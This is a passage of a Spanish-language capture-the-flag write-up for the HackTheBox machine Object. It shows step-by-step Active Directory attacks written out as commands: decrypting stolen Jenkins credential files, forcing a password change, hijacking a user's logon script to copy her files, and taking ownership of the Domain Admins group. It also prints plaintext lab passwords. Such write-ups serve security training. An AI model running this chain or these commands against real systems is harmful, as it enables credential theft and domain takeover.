powershell -c [convert]::ToBase64String((cat ..\..\secrets\hudson.util.Secret -Encoding byte))
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FE7SwbMoG21VZXkmCj1Oz%2F3127_vmware_0hgwXQHXNP.png?alt=media&#x26;token=fd84fa6e-11bc-415f-bfe9-1df10ed3f219" alt=""><figcaption></figcaption></figure>

Procederemos a descodificar y a almacenarlo en un archivo local llamado "hudson.util.Secret".

{% code overflow="wrap" %}
```bash
echo 'gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=' | base64 -d > hudson.util.Secret

ls -l hudson.util.Secret
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F544LX1iMAe6DaSEbR8CP%2F3128_vmware_rgIB3erhgS.png?alt=media&#x26;token=d0826ca9-ab99-4656-a836-c67d4935d869" alt=""><figcaption></figcaption></figure>

Una vez obtenido los 3 archivos necesarios para desencriptar la contraseña del usuario "admin" de Jenkins, procederemos a utilizar la siguiente herramienta --> [Jenkins Credentials Decryptor](https://github.com/hoto/jenkins-credentials-decryptor)

Nos descargaremos el binario en nuestra Kali a través del siguiente comando.

{% code overflow="wrap" %}
```bash
curl -L \
  "https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)" \
   -o jenkins-credentials-decryptor
   
chmod +x jenkins-credentials-decryptor
```
{% endcode %}

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FQwlegipmfYXgCF8wh8nM%2F3129_firefox_AGxRyMFRFx.png?alt=media&#x26;token=0f60ebed-ec5f-46c7-b480-eeb87935f7e0" alt="" width="563"><figcaption></figcaption></figure>

Al ejecutar el binario, comprobaremos la sintaxis para el uso de la herramienta.

```bash
./jenkins-credentials-decryptor
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FiHE9CUSxqN1qterQzZqx%2F3130_vmware_Se3sas4PdT.png?alt=media&#x26;token=e7654d5c-43ed-4b33-bc34-ab322410c48c" alt="" width="397"><figcaption></figcaption></figure>

Al intentar desencriptar la contraseña del usuario "admin" de Jenkins a través de la herramienta _**Jenkins Credentials Decryptor**_ con los tres archivos obtenidos, comprobamos que nos muestra la contraseña del usuario "oliver" en texto plano.

```bash
./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F0Gug9yD3Cr2tilJpjxPi%2F3131_vmware_5xFMg3jHi9.png?alt=media&#x26;token=b5371625-5de2-4ff9-9a69-862745c00fee" alt="" width="515"><figcaption></figcaption></figure>

Intentaremos verificar con _**netexec**_ si este usuario es válido para acceder al WinRM con las credenciales encontradas y verificamos que si.

```bash
netexec winrm 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FLG9qA949lWnoajsW9CuO%2F3132_vmware_O8MRaFPXPG.png?alt=media&#x26;token=a87f8f30-ba13-47e1-8f7b-19fb69fe9c2d" alt=""><figcaption></figcaption></figure>

Accederemos al WinRM a través de _**evil-winrm**_ y verificaremos que obtenemos la flag del **user.txt.**

```bash
evil-winrm -i 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F9rApTtOLh6FGiI3H86XX%2F3133_vmware_7esOIpWXBJ.png?alt=media&#x26;token=de57ab67-0a64-44ca-ab9d-af5f6a4f7069" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Una vez ganado acceso al equipo, deberemos de buscar maneras para elevar nuestros privilegios y convertirnos finalmente en Domain Admins.

Verificaremos los permisos que disponemos y a qué grupos forma parte el usuario (oliver@object.local), no vemos ningún permiso ni grupo que podamos realizar un PrivEsc.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FMmzL1SmarmYq6CYetDAl%2F3134_vmware_UEOrPBHfbA.png?alt=media&#x26;token=135c38ad-de11-4f42-911f-cbf297039ccf" alt="" width="563"><figcaption></figcaption></figure>

Ingresaremos al directorio `C:\Users\` y comprobaremos que aparecen los siguientes usuarios.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fe6i4cQQJBI79HDm0jKy3%2F3135_vmware_3tCCE2tvCa.png?alt=media&#x26;token=e03730e4-92fd-477c-9af7-bfca807209ce" alt="" width="416"><figcaption></figcaption></figure>

Verificaremos puertos abiertos en la máquina en busca de alguno sospechoso, en este caso, no encontramos nada relevante.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FYuGOM8D40kRhcWUuJTVo%2F3136_vmware_O8FQwsSXMc.png?alt=media&#x26;token=85118e35-6881-4bf7-95a9-88814b6ee79b" alt="" width="464"><figcaption></figcaption></figure>

Listaremos los directorios de `Program Files` en busca de algún programa inusual, en este caso, tampoco encontramos nada relevante.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F0uR6f28txMH4VnGPpEsj%2F3137_vmware_nZenId9UvI.png?alt=media&#x26;token=99c134f8-3f4c-40c9-a809-4ba99c2fc331" alt="" width="422"><figcaption></figcaption></figure>

Enumeramos los usuarios del dominio y los grupos del dominio, pero tampoco podemos sacar nada más relevante para realizar un PrivEsc.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F3XYyy11DSJZqszmviu5w%2F3138_vmware_wEOho7GPUj.png?alt=media&#x26;token=287ebeb3-b63b-4e05-a8ae-6029ed086bd7" alt="" width="507"><figcaption></figcaption></figure>

### BloodHound Enumeration

Debido que enumerando manualmente no hemos podido lograr encontrar ninguna vía potencial para elevar nuestro privilegio, lo que realizaremos es realizar la enumeración a través del _Collector_ de _**SharpHound**_ para posteriormente subir el .zip en el _**BloodHound**_ en busca de buscar vías potenciales para elevar nuestros privilegios.

Lo primero será subir el binario de _SharpHound_ a través del comando "upload" y posteriormente procederemos a descargar el comprimido obtenido para obtenerlo en nuestro equipo local a través del comando "download" que nos ofrece _evil-winrm_.

```powershell
.\SharpHound.exe -c all
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FPZO7L5R80omjil973mmL%2F3139_vmware_1fkvmjq7PY.png?alt=media&#x26;token=7a788fb5-6b4f-4893-b254-111ae7bd13d1" alt="" width="563"><figcaption></figcaption></figure>

Enumerando desde BloodHound, verificamos que el único usuario Domain Admin del dominio es el mismo usuario Administrator.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FW3phD05fRy7Fvw38GawG%2F3140_vmware_zrcXN4KcYp.png?alt=media&#x26;token=af55ce2d-f79b-4939-977a-71581ed36b0e" alt=""><figcaption></figcaption></figure>

Buscando una vía potencial para elevar nuestros privilegios para convertirnos en Domain Admins, nos encontramos con la siguiente ruta la cual parecee ser la más adecuada.&#x20;

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FzL8aGk7uXFpPdjrsq6aY%2Fimage.png?alt=media&#x26;token=b9329ce4-e665-4347-887c-7406572192b1" alt=""><figcaption></figcaption></figure>

### Abusing ForceChangePassword privileges with PowerView - Shell as smith

A través del usuario que disponemos actualmente (oliver@object.local), disponemos de permisos de _**ForceChangePassword**_ sobre el usuario (smith@object.local).

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FFZXQDpDb5XDlPa6rXfjU%2Fimage.png?alt=media&#x26;token=e802cae0-c58a-4edf-9009-f0bf9c28f330" alt=""><figcaption></figcaption></figure>

Revisando la información del permiso en Bloodhound, nos informa que el usuario que disponemos actualmente tiene la capacidad de modificarle la contraseña al usuario sobre el cual tenemos permisos sin conocer la contraseña actual de este último.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FDFeB8IKBXFqsiAv26YRl%2F3142_vmware_QZVzsiNrU6.png?alt=media&#x26;token=c7f9c09d-597c-4e5c-80bc-62d5862d0541" alt="" width="443"><figcaption></figcaption></figure>

Dado que nos encontramos en el mismo equipo Windows, procederemos a realizar el apartao de "Windows Abuse".

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Flb6YSSk7dVk7seBJ69K9%2F3143_vmware_dvXYJiQ3YY.png?alt=media&#x26;token=076025be-b8b0-4754-84dc-e938a089eb84" alt="" width="442"><figcaption></figcaption></figure>

Para realizar esta explotación, necesitaremos disponer de PowerView en el equipo víctima.

Al tratar de importarlo en memoria con IEX, verificamos que nos aparece el error de "_Unable to connect to the remote server_" debido a las reglas de Firewall que no permite el tráfico saliente tal como enumeramos anteriormente.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FUBwn4yWS6RimO8qpGib9%2F3144_vmware_GTYcdhRYJh.png?alt=media&#x26;token=87069806-0954-4259-a3b0-600864cd084f" alt=""><figcaption></figcaption></figure>

Por lo tanto, procederemos a subir a través del comando "upload" el archivo _PowerView.ps1_ y lo importaremos en el equipo.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fz8etAsCyGPfwamvjO0xL%2F3145_vmware_ttnH4Iikoa.png?alt=media&#x26;token=c0b14286-c769-4327-9f61-db9673731a39" alt=""><figcaption></figcaption></figure>

A través de la variable _$UserPassword_ crearemos una SecureString de la contraseña que le asignaremos al usuario (smith@object.local).

Mediante la función _Set-DomainUserPassword_ procederemos a cambiarle la contraseña al usuario (smith).

```powershell
$UserPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force

Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F6lLRrMKU2ixcTpStImXe%2F3146_vmware_7Pw6eZ0Tpq.png?alt=media&#x26;token=08e606d7-90a5-40b2-b282-922f90246165" alt=""><figcaption></figcaption></figure>

Verificaremos a través de _**netexec**_ de que las credenciales se han modificado correctamente y también procederemos a conectarnos al WinRM con estas nuevas credenciales obtenidas.

```bash
netexec winrm 10.10.11.132 -u 'smith' -p 'Password01!'

evil-winrm -i 10.10.11.132 -u 'smith' -p 'Password01!'
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FEjCAuieQ2sOLs5gm67Oy%2F3148_vmware_4wkfx43cWQ.png?alt=media&#x26;token=2d852927-3e73-46d1-b575-3ef8651a8612" alt=""><figcaption></figcaption></figure>

### Abusing GenericWrite privileges (Set-DomainObject - Setting Script Logon Path on a user) - Shell as maria

Volviendo a enumerar desde BloodHound, verificamos que el usuario que disponemos actualmente (smith@object.local) dispone de privilegios _**GenericWrite**_ sobre el usuario (maria@object.local).

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FDvKl1AWlckS4Hc0SXo6x%2Fimage.png?alt=media&#x26;token=0fdbbf05-1252-4923-aab3-ab4ad6896eae" alt=""><figcaption></figcaption></figure>

Revisando la información sobre el permiso que nos indica BloodHound, verificamos que este acceso otorga la capacidad de escribir en cualquier atributo no protegido en el objeto de destino, incluidos los "miembros" de un grupo y los _servicePrincipalName_ de un usuario.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FNqeof2mdtz0cYT86Q1g6%2F3150_vmware_rNliojzlTG.png?alt=media&#x26;token=19fb4f4b-3688-40f1-9da2-f7f63fc43877" alt=""><figcaption></figcaption></figure>

Lo que podemos pensar en realizar es un ataque llamado _**Targeted Kerberoasting**_ desde Windows.

Este ataque lo que realiza es agregar un SPN (Service Principal Name) ficticio a una cuenta. Una vez que la cuenta tenga establecido el SPN, la cuenta se vuelve vulnerable al ataque de _**Kerberoasting**_. Lo cual posteriormente podemos obtener el TGS (Ticket Granting Service), es decir un hash que posteriormente podemos intentar crackear de manera offline.

En este caso, el ataque se realiza _Set-DomainObject_ y _Get-DomainSPNTicket._

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FF3vmlJW5jZciSvxCCIwp%2F3151_vmware_pX9fL1Fl6j.png?alt=media&#x26;token=a8caa343-4502-44c8-9a5a-b799cc795b34" alt="" width="442"><figcaption></figcaption></figure>

En el siguiente GitHub ([Targeted Kerberoasting](https://github.com/Hackndo/The-Hacker-Recipes/blob/master/active-directory-domain-services/movement/abusing-aces/targeted-kerberoasting.md)) nos informa como realizar este tipo de ataque desde Windows.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FQpXhHqvxUMb4N0sYnb1x%2F3152_firefox_FMo6wtTujg.png?alt=media&#x26;token=1759dfc6-a83c-479a-baa1-a7a457f22dc5" alt=""><figcaption></figcaption></figure>

Probando de realizar el _**Targeted Kerberoast**_, nos aparece un error de Kerberos, lo cual no nos permite realizar dicho ataque.

```powershell
Get-DomainUser 'maria' | Select serviceprincipalname

Set-DomainObject -Identity 'maria' -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}

$User = Get-DomainUser 'maria'

$User | Get-DomainSPNTicket | fl
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FQeJbui1lThFwBLC9vNCd%2F3153_vmware_oxgETotTCl.png?alt=media&#x26;token=ffa283ed-b2d2-42f4-8dc9-40ea26c31257" alt=""><figcaption></figcaption></figure>

Debido que no hemos podido realizar el ataque, desde [HackTricks ](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#genericwrite-on-user)revisamos el ACL de _**GenericWrite on User**_ en busca de intentar realizar otro tipo de ataque.

Este permiso permite a un atacante modificar las propiedades de un usuario. Un atacante puede llegar a cambiar la ruta del script de inicio de sesión (Script Path Logon) de un usuario para ejecutar un script malicioso al iniciar sesión.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FNzKDcnRVncxuGAwQUP5e%2F3155_firefox_IwaWBKucN2.png?alt=media&#x26;token=8715a674-2be9-46de-a455-94f08e3f43a5" alt=""><figcaption></figcaption></figure>

En este caso, lo que realizaremos es crear un script (.ps1) que contenga la instrucción de listar el contenido del directorio C:\Users\Maria\Desktop y lo almacene el resultado en el directorio que estamos actualmente en el archivo "output.txt".

Este script le asignaremos de nombre "test.ps1", una vez creado el script, procederemos a asignarle el script en la ruta de inicio de sesión del usuarioo, para que cuando el usuario acceda al equipo, se ejecute el script.

Verificamos que el contenido obtenido nos muestra que la usuaria dispone de un Excel (Engines.xls) en el directorio Desktop de su usuario.

```powershell
echo "ls C:\Users\Maria\Desktop > C:\ProgramData\test\output.txt" > test.ps1

Set-DomainObject -Identity maria -SET @{scriptpath='C:\ProgramData\test\test.ps1'}

dir

type output.txt
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FRwjYKOeTlADitkP6MCLp%2F3156_vmware_on9DTLX7VZ.png?alt=media&#x26;token=ed6c55c6-6fbc-4520-b4b6-d697406c2eb9" alt=""><figcaption></figcaption></figure>

Una vez sepamos que existe este archivo en el directorio C:\Users\Maria\Desktop. El siguiente paso será realizar una copia de ese archivo al directorio en el que nos encontramos actualmente.

Para ello modificaremos de nuevo el script anterior "test.ps1" e indicaremos que realice la copia del archivo a nuestro directorio actual.

Al volver a comprobar el directorio actual, verificamos que se nos ha copiado correctamente el archivo "Engines.xls" que procederemos a descargarnos a nuestra Kali.

```powershell
echo "copy C:\Users\Maria\Desktop\Engines.xls C:\ProgramData\test\" > test.ps1

dir

download Engines.xls
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FJ0PAtafXRLyNQEZBH6lo%2F3157_vmware_7Nd6gZ8agR.png?alt=media&#x26;token=22eb85a8-732a-4c93-b9c9-90ab4eb9994f" alt=""><figcaption></figcaption></figure>

Verificaremos que se nos ha descargado correcamente el archivo en nuestro equipo local. Procederemos a abrirlo a través de LibreOffice.

```bash
ls -l Engines.xls

libreoffice Engines.xls
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FCs95XdvTN3pKFjc4tLsh%2F3158_vmware_VVZwXe9Xqv.png?alt=media&#x26;token=ea46d9e2-def8-413d-835a-56069e263f91" alt=""><figcaption></figcaption></figure>

Al abrir el Excel descargado,verificamos que dispone de credenciales de diferentes sitios sobre la usuaria (maria@object.local).

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FnLQWJxTzuY8mCER2o3xd%2F3159_vmware_PSu70iFsqG.png?alt=media&#x26;token=43adaf18-e034-4290-aabd-68c9599a84c9" alt=""><figcaption></figcaption></figure>

Guardaremos las credenciales en el archivo "passwords.txt".

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2F7oKo4pHg1EeE99rtawm7%2F3160_vmware_ubjHmWhdDG.png?alt=media&#x26;token=8ace2386-6932-4351-87b8-caa79027d2d4" alt=""><figcaption></figcaption></figure>

Proabremos de validar si alguna de las credenciales obtenidas es válida para la usuaria, una vez verificado, procederemos a conectarnos al WinRM a través de _evil-winrm._

```bash
nxc winrm 10.10.11.132 -u 'maria' -p passwords.txt

evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FZcZznGDmFMC1oIpKUU1v%2F3162_vmware_nrmwg3rgmc.png?alt=media&#x26;token=68668484-4f1e-4c47-bca3-dda9905fd12f" alt=""><figcaption></figcaption></figure>

### Abusing WriteOwner (Takeover Domain Admins Group)

Al volver a enumerar desde BloodHound, verificamos que el usuario que disponemos actualmente (maria@object.local) dispone de privilegios de _**WriteOwner**_ sobre el grupo (Domain Admins@object.local).

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FIo5HjftWWRn5HJ4UDXIG%2Fimage.png?alt=media&#x26;token=c953b975-3da4-46d0-9b16-716c03edb369" alt=""><figcaption></figcaption></figure>

Revisando la información proporcionada por BloodHound sobre el privilegio en cuestión, observamos que el permiso _**WriteOwner**_ sobre un grupo permite a un atacante modificar el propietario del mismo, lo que le otorga la capacidad de tomar control total sobre dicho grupo.

Al cambiar el propietario a su propia cuenta, el atacante podría manipular el grupo de diversas formas, como agregar o quitar miembros, modificar permisos o incluso utilizar el grupo para obtener privilegios más altos dentro del dominio.

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2Fh5seTy3d9i7a7BhTi6AY%2F3164_vmware_W4tvF0hfT2.png?alt=media&#x26;token=f80a04cf-4385-4ca1-ad46-06d2cb821de7" alt="" width="443"><figcaption></figcaption></figure>

Utilizamos el comando `Set-DomainObjectOwner` para transferir la propiedad del grupo a "maria", lo que nos permitió cambiar cualquier aspecto del grupo, incluidos sus miembros y permisos.

A continuación, utilizamos `Add-DomainObjectAcl` para otorgar a "maria" permisos completos sobre el grupo y, con Add-DomainGroupMember, la agregamos como miembro del grupo _Domain Admins_, asegurando su acceso a privilegios de administrador en el dominio.

Finalmente, verificamos la pertenencia de "maria" al grupo mediante el comando _net user /domain_, confirmando su escalada de privilegios y control completo sobre el dominio.

```powershell
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

net user maria /domain
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FHccqw0jf0pVA3bcGMYpa%2F3165_vmware_cHvp6TUHXW.png?alt=media&#x26;token=b79fd4dd-df94-4b59-a462-263725030f5b" alt=""><figcaption></figcaption></figure>

Volveremos a iniciar una nueva sesión de WinRM a través de _evil-winrm_ para que se apliquen los cambios en la nueva sesión.

Una vez ganado el acceso, verificaremos que podemos eumerar el contenido de la flag **root.txt.**

```bash
evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'
```

<figure><img src="https://2158100270-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNkyqHMfGyEYRTQ7gW4B4%2Fuploads%2FVEzYfzP9VpVNr4NYaZT4%2F3166_vmware_GHeWaiNZxd.png?alt=media&#x26;token=d4668775-c4a9-466b-bbca-aa10ee86a861" alt=""><figcaption></figcaption></figure>
